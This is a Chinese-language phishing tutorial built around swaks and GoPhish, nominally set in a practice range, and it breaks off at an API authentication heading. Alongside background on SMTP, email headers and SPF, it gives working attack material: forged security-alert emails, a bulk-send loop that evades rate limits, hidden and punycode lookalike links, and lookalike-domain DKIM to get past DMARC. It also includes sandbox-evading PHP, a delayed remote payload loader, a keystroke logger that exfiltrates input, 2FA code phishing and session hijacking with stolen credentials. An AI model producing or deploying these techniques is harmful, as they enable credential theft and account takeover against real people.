1. 邮件基础与钓鱼攻击概述
1.1 当前攻击环节的思维框架
攻击链分析: 理解攻击链中钓鱼攻击的位置和作用，评估为什么其他攻击向量不可行或效率低下
技术限制评估: 分析目标环境中可能存在的技术限制（如邮件过滤、SPF/DKIM/DMARC实施、内容扫描）
进度依赖性: 基于已获得的信息（如域名信息、组织结构、邮件格式）调整钓鱼策略
决策树构建: 为可能遇到的阻碍预先准备应对策略，如被检测到是钓鱼邮件时的备选方案
靶场环境整合: 将靶场环境的特殊性融入攻击计划，利用环境特点优化攻击效果
钓鱼攻击通常在其他技术手段不可行时使用，例如当目标网络外部没有可利用的技术漏洞，或者已有漏洞被有效修补时。这时需要通过人为因素（即社会工程学）突破防线。
1.2 Swaks(Swiss Army Knife for SMTP)工具深度解析
Swaks是一个功能强大的SMTP测试工具，本质上是邮件协议交互的命令行实现。
功能特点详解:
协议支持: 除基本SMTP外，还支持SMTPS、ESMTP等扩展协议
认证机制: 支持PLAIN、LOGIN、CRAM-MD5、DIGEST-MD5等多种认证方法
TLS支持: 可配置TLS协议版本、加密算法和证书验证选项
管道功能: 允许从标准输入读取邮件内容，便于脚本化操作
交互模式: 提供交互式界面手动构建和测试邮件
详细日志: 可显示完整的SMTP会话过程，包括每一条命令和服务器响应
底层工作原理: Swaks通过直接与SMTP服务器进行TCP连接并执行标准的SMTP命令序列来发送邮件：
建立TCP连接到SMTP服务器（默认端口25）
发送EHLO/HELO命令标识自己
如有需要，进行TLS协商和认证
指定邮件发件人（MAIL FROM）
指定邮件收件人（RCPT TO）
发送DATA命令开始传输邮件内容
传输邮件主体（包括头部和正文）
发送单独的点（.）结束数据传输
根据设置选择发送更多邮件或关闭连接
这个过程与大型邮件服务商使用的基本流程相同，区别在于商业邮件系统增加了更多安全检查、反垃圾邮件措施和用户界面。
1.3 邮件结构与关键字段详细分析
邮件遵循RFC 5322标准，由多个字段组成，每个字段在钓鱼攻击中都有特定作用：
1.3.1 基本字段详解
To字段:格式:
To: name <email@domain.com>可包含多个收件人，以逗号分隔
可以包含"显示名称"和实际邮箱地址
钓鱼应用: 可设置为目标用户的准确地址，增加真实性
From字段:格式:
From: display_name <email@domain.com>钓鱼应用: 通常伪装成可信来源，如银行、IT支持或高管
防御机制: 是SPF/DKIM/DMARC验证的主要对象
Subject字段:支持国际字符集（通过MIME编码）
钓鱼应用: 常用紧急性词汇引起注意，如"账户安全警告"或"立即行动"
Body字段:可以是纯文本或HTML格式
可包含嵌入式图片、链接和样式
钓鱼应用: 构造逼真的企业通信格式，包含公司logo和排版风格
1.3.2 关键头部信息详解
Message-ID字段:格式:
<random_string@domain.com>作用: 邮件的全球唯一标识符
钓鱼应用: 应模仿目标组织的格式，如
<20241019.123456@company.com>技术细节: 部分邮件服务会记录并分析Message-ID格式，异常格式可能被标记
X-Mailer字段:表示发送邮件的客户端软件
常见值: "Outlook"、"Apple Mail"、"Gmail"
钓鱼应用: 应与伪装身份一致，如伪装公司邮件时使用"Outlook"
防御影响: 不匹配的值（如显示"GoPhish"）会立即暴露钓鱼企图
Date字段:格式:
Date: Wed, 16 Oct 2024 12:34:56 +0800钓鱼应用: 确保时间戳合理，不要使用未来日期或过早日期
Content-Type字段:定义邮件内容格式，如
text/plain或text/html多部分邮件使用
multipart/alternative或multipart/mixed钓鱼应用: HTML邮件需正确设置为
text/html; charset=utf-8
MIME-Version字段:通常设为"1.0"
对于包含附件或HTML内容的邮件是必需的
Return-Path字段:定义退信地址
防御机制: 某些反垃圾邮件系统会检查其与From字段的一致性
1.3.3 字段间的逻辑关系
邮件字段之间存在逻辑关系，不一致性可能触发安全检查：
Return-Path应与From地址一致或至少域名相同
Message-ID应包含发件人域名
Date应与接收时间合理接近
附件的Content-Type应与实际内容匹配
这些关系在构造钓鱼邮件时需要特别注意，任何不一致都可能导致邮件被拦截。
2. Swaks工具的实际应用与高级技术
2.1 命令详解与参数全景图
Swaks命令的完整格式及所有可能的参数组合：
swaks [选项]基础参数详解:
目标指定参数:
--to/-t: 收件人地址，可指定多个（用逗号分隔）--from/-f: 发件人地址--server/-s: SMTP服务器地址/IP--helo/-h: HELO/EHLO标识名
连接控制参数:
--port/-p: 服务器端口（默认25）--timeout: 连接超时时间（秒）--protocol: 使用的协议（SMTP/ESMTP/LMTP）--socket: 指定替代连接方式（如Unix socket）
认证相关参数:
--auth/-a: 认证类型（LOGIN/PLAIN/CRAM-MD5等）--auth-user/-au: 认证用户名--auth-password/-ap: 认证密码--auth-hide-password: 隐藏日志中的密码--auth-optional: 允许认证失败后继续
TLS相关参数:
--tls: 尝试使用STARTTLS--tls-on-connect: 连接时直接使用TLS（端口465）--tls-optional: 允许TLS失败后继续--tls-cipher: 指定TLS加密套件--tls-verify: 验证服务器证书--tls-ca-path: 自定义CA证书路径
邮件内容参数:
--data/-d: 完整邮件内容（包括头部）--body/-b: 邮件正文内容--attach/-A: 添加附件--attach-type: 指定附件MIME类型--header/-h: 添加邮件头部字段（可多次使用）--suppress-data: 不发送邮件数据（仅测试连接）
代理参数:
--proxy-host: 代理服务器地址--proxy-port: 代理服务器端口--proxy-user: 代理服务器用户名--proxy-pass: 代理服务器密码
输出控制参数:
--silent/-q: 静默模式，不显示详细信息--verbose/-v: 详细模式，显示所有交互--dump-mail: 打印将要发送的邮件内容--output-file: 将输出保存至文件
这些参数可以组合使用，创建高度定制化的邮件测试场景。
2.2 高级应用场景与技巧
2.2.1 高级HTML内容构造
针对现代邮件客户端的HTML内容构造技巧：
swaks --to recipient@example.com --from sender@example.com --header "Content-Type: multipart/alternative; boundary=boundary-string" --data "
--boundary-string
Content-Type: text/plain; charset=utf-8
这是纯文本内容，适用于不支持HTML的邮件客户端。
--boundary-string
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">
<style>
body { font-family: Arial, sans-serif; }
.header { background-color: #0056b3; color: white; padding: 10px; }
.content { padding: 20px; }
.button { background-color: #28a745; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; }
</style>
</head>
<body>
<div class=\"header\">
<h1>安全警告</h1>
</div>
<div class=\"content\">
<p>尊敬的用户，</p>
<p>我们检测到您的账户存在异常登录尝试。请立即点击下方按钮验证您的身份信息：</p>
<p><a href=\"http://malicious-link.com\" class=\"button\">验证身份</a></p>
</div>
</body>
</html>
--boundary-string--"这个示例创建了一个包含纯文本和HTML两种格式的多部分邮件，使用boundary分隔不同部分。现代邮件客户端会显示HTML版本，而旧客户端会显示纯文本版本。
2.2.2 带图片的HTML邮件
swaks --to recipient@example.com --from sender@example.com --header "Content-Type: multipart/related; boundary=outer-boundary" --data "
--outer-boundary
Content-Type: multipart/alternative; boundary=inner-boundary
--inner-boundary
Content-Type: text/plain; charset=utf-8
这是纯文本内容。
--inner-boundary
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>
<html>
<body>
<p>查看我们的新徽标：</p>
<img src=\"cid:logo\" alt=\"公司徽标\" width=\"200\" height=\"100\">
</body>
</html>
--inner-boundary--
--outer-boundary
Content-Type: image/png
Content-Transfer-Encoding: base64
Content-ID: <logo>
iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH5AoQFQwqDRMFuQAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAyMC0xMC0xNlQyMToxMjo0MiswMDowMCoQGR8AAAAldEVYdGRhdGU6bW9kaWZ5ADIwMjAtMTAtMTZUMjE6MTI6NDIrMDA6MDBbTaGjAAAATUlEQVQ4y2NgGAW0Boz///9n+P//fxcDA8NpBgaGLAbaAkYmBoY1DAwMPxkYGP4zMDDspWdY1jAwMNjQw7AmBoYGegnKKHqlUDoBAN/UFu+HTogzAAAAAElFTkSuQmCC
--outer-boundary--"这个示例创建了一个包含内嵌图片的HTML邮件，使用Content-ID引用图片，这是许多钓鱼邮件中常用的技术。
2.2.3 延迟发送与批量测试
# 创建包含多个目标的文件
cat > targets.txt << EOF
user1@example.com
user2@example.com
user3@example.com
EOF
# 循环发送带有随机延迟的邮件
for target in $(cat targets.txt); do
delay=$((RANDOM % 60 + 30)) # 30-90秒随机延迟
echo "Sending to $target after $delay seconds delay"
sleep $delay
swaks --to $target --from service@company.com --header "Subject: Security Alert" \
--body "Important security information" --header "Message-ID: $(date +%s).$(openssl rand -hex 8)@company.com"
done这个脚本演示了如何实现批量钓鱼邮件发送，使用随机延迟和唯一Message-ID，避免被邮件系统识别为批量发送而拦截。
2.3 SMTP协议深度交互分析
以下是Swaks工具与SMTP服务器完整的交互过程示例及其对应的SMTP命令解析：
$ swaks --to recipient@example.com --from sender@example.com --server mail.example.com
=== Trying mail.example.com:25...
=== Connected to mail.example.com.
<- 220 mail.example.com ESMTP Postfix
-> EHLO client.local
<- 250-mail.example.com
<- 250-PIPELINING
<- 250-SIZE 10240000
<- 250-ETRN
<- 250-STARTTLS
<- 250-AUTH PLAIN LOGIN
<- 250-ENHANCEDSTATUSCODES
<- 250 8BITMIME
-> MAIL FROM:<sender@example.com>
<- 250 2.1.0 Ok
-> RCPT TO:<recipient@example.com>
<- 250 2.1.5 Ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 17 Oct 2024 10:42:43 +0800
-> To: recipient@example.com
-> From: sender@example.com
-> Subject: Test Email
-> Message-Id: <20241017104243.067123@client.local>
-> X-Mailer: swaks v20201014.0
->
-> This is a test email.
-> .
<- 250 2.0.0 Ok: queued as 8F3B42C156
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.SMTP协议交互解析:
连接建立: 客户端连接到SMTP服务器的25端口
服务器问候: 服务器发送220状态码和其身份
客户端身份: EHLO命令提供客户端身份，请求扩展SMTP功能
服务器能力: 服务器响应250状态码，列出支持的功能（如TLS、认证方法）
发件人声明: MAIL FROM命令指定邮件发件人
收件人声明: RCPT TO命令指定邮件收件人
数据传输请求: DATA命令请求开始传输邮件内容
数据传输许可: 354状态码允许数据传输开始
邮件内容传输: 客户端发送邮件头部和正文
数据终止: 单独的点（.）标志数据传输结束
接收确认: 250状态码确认邮件已排队等待发送
连接终止: QUIT命令结束会话
各状态码含义:
220: 服务就绪
250: 请求的动作完成
354: 开始邮件输入
221: 关闭传输通道
这种深度理解SMTP交互过程对于排查发送问题和绕过防御机制至关重要。
2.4 SPF记录深入分析与实战检测
SPF(Sender Policy Framework)记录是域名所有者用来指定哪些邮件服务器可以代表该域名发送邮件的TXT记录。
SPF记录格式详解:
v=spf1 [机制1] [机制2] ... [机制n] [限定词]all常见机制:
a: 指定域名的A记录对应的IP可以发送邮件mx: 指定域名的MX记录对应的服务器可以发送邮件ip4:: 明确指定IPv4地址可以发送邮件ip6:: 明确指定IPv6地址可以发送邮件include:: 包含其他域名的SPF记录redirect=: 重定向到其他域名的SPF记录exists:: 如果指定域名存在A记录则匹配
限定词:
+: 通过（默认）?: 中立（既不通过也不失败）~: 软失败（应该拒绝但允许接收）-: 硬失败（必须拒绝）
实际SPF记录示例及解析:
v=spf1 ip4:192.168.0.1/24 mx include:_spf.google.com ~all这表示:
192.168.0.1/24网段的IP可以发送邮件
该域名的MX记录对应的服务器可以发送邮件
Google的邮件服务器可以发送邮件
其他来源应该被软拒绝
SPF检查命令与结果分析:
# 使用dig查询SPF记录
$ dig +short TXT example.com
"v=spf1 ip4:192.0.2.0/24 mx -all"
# 使用nslookup查询SPF记录
$ nslookup -type=TXT example.com
Server: 192.168.1.1
Address: 192.168.1.1#53
example.com text = "v=spf1 ip4:192.0.2.0/24 mx -all"
# 使用host命令查询SPF记录
$ host -t TXT example.com
example.com descriptive text "v=spf1 ip4:192.0.2.0/24 mx -all"SPF验证工具示例:
# 使用第三方工具验证SPF记录
$ python3 -c "
import dns.resolver
import sys
domain = sys.argv[1]
sender = sys.argv[2]
try:
answers = dns.resolver.resolve(domain, 'TXT')
spf_record = None
for rdata in answers:
for txt_string in rdata.strings:
txt = txt_string.decode('utf-8')
if txt.startswith('v=spf1'):
spf_record = txt
break
if spf_record:
print(f'SPF record found: {spf_record}')
# 简单解析示例
parts = spf_record.split()
mechanisms = [p for p in parts[1:-1]]
all_directive = parts[-1]
print(f'Mechanisms: {mechanisms}')
print(f'All directive: {all_directive}')
# 根据SPF记录评估特定发件人是否允许发送
# 这里只是简化示例，实际验证更复杂
ip = sender.split('@')[1] # 假设sender是IP@domain格式
if f'ip4:{ip}' in mechanisms:
print(f'Sender {sender} is explicitly allowed')
else:
print(f'Sender {sender} not explicitly listed')
print(f'Final policy: {all_directive}')
else:
print('No SPF record found')
except Exception as e:
print(f'Error: {e}')
" example.com 192.0.2.5@example.com这个Python脚本展示了如何解析SPF记录并执行基本验证。实际的SPF验证更复杂，需要考虑CIDR范围、MX查询、include机制等。
3. 钓鱼攻击的深度策略
3.1 心理学基础与目标选择
成功的钓鱼攻击建立在对人类心理学的深入理解上：
核心心理触发因素:
恐惧: 安全警告、账户异常、资金风险
紧迫感: 限时操作、账户锁定倒计时
贪婪: 退款信息、奖励机会、独特优惠
好奇心: 非公开信息、组织内部文档
权威服从: 来自高管或IT部门的指令
社交证明: 看似同事已完成的操作
习惯利用: 利用日常工作流程的自动化思维
目标选择战略:
角色分析:
确定组织中的关键角色和人物
评估不同角色接触敏感信息的可能性
识别对钓鱼电子邮件最容易响应的人员类型
易感性评估:
HR部门通常习惯处理外部发送的简历
IT支持人员经常需点击链接解决问题
财务部门定期处理外部付款请求
新员工可能不熟悉安全流程
分层攻击策略:
初始目标: 获取基本网络访问权限的非技术员工
中级目标: 能提供更广泛访问权限的IT或管理人员
最终目标: 拥有最高权限的系统管理员或高管
这种分层方法允许攻击者从较低权限逐步提升到组织内的关键资产。
3.2 邮件真实性与防检测技术
构建高度真实且难以检测的钓鱼邮件的技术:
3.2.1 品牌和视觉元素仿真
精确Logo复制:
使用矢量格式以保持在不同设备上的清晰度
精确匹配品牌颜色代码(hex值)
保持原始尺寸比例和位置
样式表精确复制:
<style>
/* 精确复制目标公司邮件的CSS样式 */
body {
font-family: "Segoe UI", Arial, sans-serif; /* 匹配目标使用的字体 */
color: #333333; /* 匹配目标文字颜色 */
line-height: 1.5; /* 匹配目标行高 */
}
.header {
background-color: #0078D4; /* 微软蓝色 */
padding: 15px 25px;
}
.footer {
font-size: 11px;
color: #666666;
border-top: 1px solid #eeeeee;
padding-top: 10px;
}
</style>正确的消息结构:
研究目标组织真实邮件的格式和结构
复制其段落长度、问候语和结束语
包含适当的免责声明和页脚信息
3.2.2 技术防检测措施
规避内容扫描:
避免垃圾邮件触发词(如"免费"、"紧急"、"确认")
使用图像而非文本传递关键信息(但避免只有图像的邮件)
实现轻微的内容变化以绕过基于指纹的检测
HTML混淆技术:
<!-- 通过CSS隐藏真实链接并显示假URL -->
<a href="http://evil-site.com" style="text-decoration:none; color:inherit;">
<span style="text-decoration:underline; color:#0000EE;">https://legitimate-site.com/confirm</span>
</a>UTF-8编码混淆:
<!-- 使用相似字符混淆 -->
<a href="http://xn--80ak6aa92e.com">microsoft.com</a> <!-- 使用Punycode -->邮件头部防检测:
使用逼真的X-Mailer值(如"Microsoft Outlook 16.0")
确保Message-ID格式与伪装身份一致
设置合理的邮件路由和接收时间戳
3.2.3 逃避自动化分析
图像实现文本: 将文本内容转换为图像，使自动内容扫描器难以分析，但保留适量文本内容以避免触发垃圾邮件过滤器。
链接隐藏技术:
// JavaScript动态生成链接，规避静态分析
document.getElementById('safe-link').onclick = function(e) {
e.preventDefault();
setTimeout(function() {
window.location = atob('aHR0cDovL21hbGljaW91cy1zaXRlLmNvbQ=='); // Base64编码的链接
}, 100);
};延迟加载技术: 构建在初始检查后才加载恶意内容的登录页面，绕过初始URL扫描。
3.3 钓鱼邮件测试与验证全流程
成功的钓鱼活动需要严格的测试和验证流程：
3.3.1 多级测试策略
内部控制测试:
首先向自己的测试邮箱发送测试邮件
使用不同设备和邮件客户端检查显示效果
验证所有链接和图像是否正确加载
检查邮件是否正确通过SPF/DKIM验证
外部防御测试:
通过流行的公共邮件提
钓鱼攻击的深度策略（续）
3.3 钓鱼邮件测试与验证全流程（续）
3.3.1 多级测试策略（续）
外部防御测试:
通过流行的公共邮件提供商（Gmail、Outlook、Yahoo）发送测试邮件
确认邮件不会被自动归类为垃圾邮件或钓鱼邮件
利用在线服务验证邮件传递能力和垃圾邮件评分
模拟目标环境的安全设置（若已知）进行针对性测试
技术审查检查表:
验证所有自定义邮件头是否正确设置
确认HTML元素中不存在明显的特征标识（如默认类名或注释）
检查JavaScript代码是否被邮件客户端屏蔽
验证图片加载不依赖于被阻止的第三方域名
确认所有链接使用正确的协议（http/https）
3.3.2 EML文件全面分析
EML（Email Message Format）文件包含了完整的邮件数据，包括所有头信息、正文和附件。分析EML文件是钓鱼邮件测试的关键步骤：
EML提取与分析方法:
# 将测试邮件保存为EML文件
# 在大多数邮件客户端中，可通过"另存为"或"导出"功能实现
# 使用命令行工具分析EML文件
$ cat test_email.eml | grep -i "^X-" | sort # 显示所有X-开头的头信息
$ cat test_email.eml | grep -i "Received:" # 检查邮件路由信息
$ cat test_email.eml | grep -i "Authentication-Results:" # 检查认证结果
# 使用Python脚本分析EML结构
python3 -c '
import email
import sys
import json
with open(sys.argv[1], "r") as f:
msg = email.message_from_file(f)
headers = {}
for key in msg.keys():
headers[key] = msg[key]
print("=== HEADERS ===")
print(json.dumps(headers, indent=2))
print("\n=== BODY STRUCTURE ===")
for part in msg.walk():
content_type = part.get_content_type()
content_disposition = str(part.get("Content-Disposition"))
print(f"- {content_type} ({content_disposition})")
' test_email.eml特殊发送器标记检查: 分析EML文件中可能暴露钓鱼工具的标记：
GoPhish相关标记：X-Gophish、X-Mailer中的Gophish字样
自定义服务器标记：Message-ID中的明显格式（如@kali）
追踪像素标记：src属性中含有明显的追踪域名或路径
3.3.3 多客户端兼容性验证
不同的邮件客户端会以不同方式渲染HTML邮件，因此全面测试至关重要：
主要测试平台:
桌面客户端：Outlook、Apple Mail、Thunderbird
网页客户端：Gmail、Outlook.com、Yahoo Mail、企业邮箱
移动客户端：iOS Mail、Gmail App、Outlook Mobile
测试关注点:
HTML渲染差异（特别是CSS支持不一致）
图像自动加载设置
链接预览行为
安全警告触发条件
附件处理方式
自动化兼容性测试示例:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import time
import sys
# 测试邮箱列表 - 每个都使用不同的客户端
test_recipients = [
"outlook_test@example.com", # Outlook
"gmail_test@example.com", # Gmail
"apple_test@example.com", # Apple Mail
"yahoo_test@example.com", # Yahoo Mail
"mobile_test@example.com" # Mobile clients
]
# 邮件模板
email_template = """
<html>
<body>
<h2>Test Email</h2>
<p>This is a test of our phishing template.</p>
<p>Click <a href="http://example.com/test?client={client}">here</a> to verify rendering.</p>
<img src="http://example.com/pixel?client={client}" width="1" height="1" />
</body>
</html>
"""
# 发送测试邮件到各个客户端
def send_test_emails():
for recipient in test_recipients:
client_id = recipient.split("_")[0]
msg = MIMEMultipart('alternative')
msg['Subject'] = f"Test Email - {client_id.capitalize()} Client"
msg['From'] = "test@example.com"
msg['To'] = recipient
# 替换客户端标识符以追踪结果
html_content = email_template.format(client=client_id)
msg.attach(MIMEText(html_content, 'html'))
try:
server = smtplib.SMTP('smtp.example.com', 587)
server.starttls()
server.login('username', 'password')
server.send_message(msg)
server.quit()
print(f"Successfully sent test email to {recipient}")
# 间隔发送以避免触发速率限制
time.sleep(5)
except Exception as e:
print(f"Error sending to {recipient}: {e}")
if __name__ == "__main__":
send_test_emails()
print("Complete! Check test accounts and tracking logs for results.")3.4 绕过邮件安全机制的高级技术
现代企业环境通常部署多层邮件安全系统，绕过这些系统需要综合策略：
3.4.1 DMARC/DKIM绕过技术
DMARC(Domain-based Message Authentication, Reporting & Conformance)和DKIM(DomainKeys Identified Mail)是现代邮件安全的核心技术，绕过它们需要复杂策略：
相似域名注册: 不直接伪造受保护域名，而是注册视觉上相似的域名：
使用相似字符（如将"l"替换为"I"）
添加连字符或额外字符（如"microsoft-support.com"）
使用不同的顶级域名（如".co"代替".com"）
合法的DKIM签名: 为新注册的域名正确配置DKIM，确保邮件能通过DKIM验证，尽管不是来自真实域名：
# 为欺骗域名生成DKIM密钥对
openssl genrsa -out dkim-private.key 1024
openssl rsa -in dkim-private.key -pubout -out dkim-public.key
# 在DNS中发布公钥（格式化为TXT记录）
cat dkim-public.key | grep -v '^-' | tr -d '\n' > dkim-dns.txt
# 使用私钥签署邮件（使用dkimpy等工具）
python3 -m dkim.dknewkey -s selector -d fake-domain.com -k dkim-private.key"From"头分离技术: 利用邮件协议中的多个"From"概念：
SMTP MAIL FROM（信封发件人）- 用于邮件传递
From头（显示发件人）- 用户看到的发件人
通过使用无DMARC保护的域名作为MAIL FROM，同时在显示From头中使用目标域名，可能绕过某些实现不完善的系统。
3.4.2 内容过滤器绕过技术
词汇替换与变体使用:
使用同义词替换常见触发词
使用Unicode变体字符（如将"e"替换为"е"[西里尔字母]）
插入零宽空格(U+200B)分隔敏感词内部字符
基于上下文的内容生成: 使用人工智能生成不包含常见触发词但表达相同意思的文本：
图像中的文本: 将敏感内容转换为图像以绕过文本扫描，但保留足够的常规文本以避免被标记为垃圾邮件：
<!-- 混合图像和文本内容 -->
<p>您好，这是IT部门的例行通知。</p>
<img src="data:image/png;base64,iVBORw0..." alt="请在今天结束前更新您的账户密码，点击下方链接进行操作。" />
<p>如有任何问题，请联系技术支持团队。</p>3.4.3 沙箱检测与规避
现代邮件安全系统通常在沙箱环境中分析链接和附件，以下技术可能规避这些检测：
环境检测代码: 服务器端代码检测是否在沙箱环境中运行：
<?php
// 检测是否可能在沙箱中
function is_sandbox() {
// 检查IP是否属于已知安全厂商
$ip = $_SERVER['REMOTE_ADDR'];
$security_vendors = ['8.8.8.', '74.125.', '66.102.']; // 示例IP段
foreach ($security_vendors as $vendor) {
if (strpos($ip, $vendor) === 0) return true;
}
// 检查User-Agent是否为安全工具
$ua = $_SERVER['HTTP_USER_AGENT'];
if (strpos($ua, 'HeadlessChrome') !== false) return true;
if (strpos($ua, 'PhantomJS') !== false) return true;
// 检查是否有真实用户行为（鼠标移动、键盘输入等）
if (!isset($_COOKIE['user_interaction'])) return true;
return false;
}
// 根据环境提供不同内容
if (is_sandbox()) {
// 提供无害内容
echo "<h1>欢迎访问公司门户</h1>";
echo "<p>系统正在维护中，请稍后再试。</p>";
} else {
// 提供实际钓鱼页面
include 'real_phishing_page.php';
}
?>延迟执行技术: 许多沙箱系统只分析短时间内的行为：
// 延迟加载恶意内容，绕过短时间沙箱分析
setTimeout(function() {
var script = document.createElement('script');
script.src = 'https://malicious-domain.com/payload.js';
document.body.appendChild(script);
}, 300000); // 5分钟延迟基于用户交互的触发: 只在检测到真实用户交互后才显示钓鱼内容：
// 只在检测到鼠标移动和键盘输入后加载钓鱼表单
var userActivity = false;
function setUserActive() {
userActivity = true;
document.removeEventListener('mousemove', setUserActive);
document.removeEventListener('keydown', setUserActive);
// 加载真实钓鱼内容
loadPhishingContent();
}
document.addEventListener('mousemove', setUserActive);
document.addEventListener('keydown', setUserActive);
function loadPhishingContent() {
// 替换无害内容为钓鱼表单
document.getElementById('content').innerHTML = '<form id="login-form">...</form>';
}4. GoPhish钓鱼工具深度技术分析
4.1 GoPhish架构与组件详解
GoPhish是一个开源的钓鱼框架，其架构设计支持完整的钓鱼活动生命周期管理。了解其内部架构有助于更有效地使用和定制工具。
4.1.1 核心组件架构
技术栈与依赖:
后端: Go语言（高性能并发处理）
前端: Bootstrap界面框架
数据库: SQLite（默认）或MySQL/PostgreSQL
Web框架: Gin-Gonic（轻量级HTTP路由）
GoPhish主要模块:
控制器(Controllers): 处理HTTP请求和用户交互
模型(Models): 定义数据结构和业务逻辑
API: 提供编程接口用于自动化和集成
中间件(Middleware): 处理认证、日志和错误处理
邮件引擎(Mail Engine): 负责邮件生成和发送
数据收集器(Data Collector): 捕获和存储用户交互数据
报告引擎(Report Engine): 生成活动统计和分析
组件间数据流:
[用户界面] <-> [控制器] <-> [模型] <-> [数据库]
|
v
[邮件引擎] <-> [SMTP服务器] -> [目标收件人]
|
v
[数据收集器] <- [登录页服务器] <- [用户交互]
|
v
[报告引擎] -> [统计数据]4.1.2 数据库结构与关系
理解GoPhish的数据库模式对于高级使用和扩展至关重要：
核心表及关系:
users: 存储GoPhish管理用户templates: 存储邮件模板pages: 存储钓鱼登录页面smtp: 存储SMTP配置campaigns: 存储钓鱼活动配置targets: 存储目标用户信息results: 存储活动结果和用户交互数据groups: 存储目标用户分组
数据库关系图示:
templates 1---* campaigns *---1 pages
^ ^
| |
| |
groups *---* targets *---* results
^ ^
| |
| |
smtp 1---* campaigns *---1 users该结构使得单个模板可用于多个活动，一个活动可以针对多个用户组，每个交互都会记录到结果表中。
4.2 GoPhish高级功能与配置
4.2.1 自定义邮件头与追踪功能
高级邮件头配置: 通过设置合适的自定义头部，可以大幅提高钓鱼邮件的可信度：
X-Mailer: Microsoft Outlook 16.0.12026.20320
X-MS-Exchange-Organization-SCL: 0
X-MS-Exchange-Organization-AuthAs: Internal
Message-ID: <AD23981F-5CB1-4CA2-B89A-BAE372D532A8@company.com>
X-Priority: 1 (Highest)
X-Originating-IP: [192.168.1.1]高级追踪像素配置: GoPhish的追踪像素可以通过自定义HTML进行增强：
<!-- 高级追踪像素，包含更多识别信息 -->
<img src="{{.URL}}/track?rid={{.RId}}&u={{.BaseRecipient}}&ip={{.BaseIP}}&b={{.Browser}}"
alt="" width="1" height="1" border="0" style="display:none;">这种配置不仅记录邮件打开，还记录了用户的浏览器信息和IP地址。
链接替换策略: 针对不同类型的目标，可以自定义链接替换策略：
全部替换（高捕获率）: 所有链接都指向钓鱼页面
选择性替换（高可信度）: 只替换主要操作链接，其他链接保持真实
延迟替换（绕过扫描）: 初始链接无害，但在客户端通过JavaScript重定向
4.2.2 高级模板与动态内容
模板变量与个性化: GoPhish支持多种变量实现高度个性化的邮件内容：
<p>亲爱的{{.FirstName}} {{.LastName}}，</p>
<p>我们检测到您的{{.Position}}账户在{{.Email}}上有异常登录尝试。</p>
<p>请在{{.URL}}验证您的身份。</p>
<p>此邮件由系统自动发送至{{.Email}}。请勿回复。</p>动态内容生成: 使用条件逻辑创建动态变化的邮件内容，增加真实性和难以被过滤：
{{if eq .Department "IT"}}
<p>作为IT部门成员，请确认您最近更新了内部系统权限。</p>
{{else if eq .Department "Finance"}}
<p>作为财务部门成员，请确认您最近的财务系统访问记录。</p>
{{else}}
<p>请确认您最近的账户活动记录。</p>
{{end}}多语言支持:
{{if eq .Language "zh"}}
<p>请点击链接确认您的账户安全</p>
{{else if eq .Language "en"}}
<p>Please click the link to confirm your account security</p>
{{else}}
<p>Please confirm your account security</p>
{{end}}4.2.3 钓鱼页面高级技术
表单数据捕获扩展: GoPhish默认只捕获表单提交数据，可以通过添加自定义JavaScript扩展捕获能力：
<script>
// 捕获键盘输入并定期发送
var keylogs = [];
var lastInput = '';
document.addEventListener('keydown', function(e) {
if (e.target.tagName === 'INPUT' || e.target.tagName === 'TEXTAREA') {
var field = e.target.name || e.target.id || 'unknown_field';
keylogs.push({
field: field,
key: e.key,
time: new Date().toISOString()
});
// 更新当前输入值
if (e.key === 'Backspace') {
lastInput = lastInput.slice(0, -1);
} else if (e.key.length === 1) {
lastInput += e.key;
}
// 每10次键入发送一次数据
if (keylogs.length >= 10) {
sendData();
}
}
});
function sendData() {
if (keylogs.length === 0) return;
var data = {
rid: '{{.RId}}',
keylogs: keylogs,
current_input: lastInput
};
// 发送到隐藏端点
fetch('{{.URL}}/keylog', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
}).then(() => {
keylogs = [];
}).catch(err => {
console.error('Failed to send data:', err);
});
}
// 在表单提交前也发送数据
document.querySelector('form').addEventListener('submit', function() {
sendData();
});
</script>双因素认证钓鱼: 模拟双因素认证流程，先捕获密码，然后要求输入验证码：
<!-- 第一阶段：密码捕获 -->
<form id="password-form" action="{{.URL}}/login" method="POST">
<input type="hidden" name="rid" value="{{.RId}}">
<input type="email" name="email" value="{{.Email}}" readonly>
<input type="password" name="password" required>
<button type="submit">登录</button>
</form>
<script>
document.getElementById('password-form').addEventListener('submit', function(e) {
e.preventDefault();
// 发送密码
var formData = new FormData(this);
fetch('{{.URL}}/password', {
method: 'POST',
body: formData
}).then(response => response.json())
.then(data => {
// 显示第二阶段：2FA验证
document.getElementById('password-form').style.display = 'none';
document.getElementById('2fa-form').style.display = 'block';
});
});
</script>
<!-- 第二阶段：2FA验证码捕获 -->
<form id="2fa-form" style="display:none" action="{{.URL}}/2fa" method="POST">
<input type="hidden" name="rid" value="{{.RId}}">
<p>我们已向您的注册设备发送了验证码</p>
<input type="text" name="2fa_code" placeholder="请输入6位验证码" required>
<button type="submit">验证</button>
</form>会话克隆与转发: 捕获凭据后立即使用它们登录真实服务，然后将会话cookie转发给用户，实现无缝劫持：
// 在服务器端实现的概念流程
async function handleCredentials(req, res) {
const { username, password, rid } = req.body;
// 1. 存储捕获的凭据
await storeCredentials(rid, username, password);
// 2. 使用凭据登录真实服务
const realServiceResponse = await loginToRealService(username, password);
// 3. 提取会话cookie
const sessionCookies = extractCookies(realServiceResponse);
// 4. 转发给受害者
res.setHeader('Set-Cookie', sessionCookies);
// 5. 重定向到真实服务
res.redirect('https://real-service.com/dashboard');
}4.3 GoPhish API与自动化
GoPhish提供了完整的RESTful API，允许自动化和扩展其功能：
4.3.1 API基础与身份验证
API身份验证:
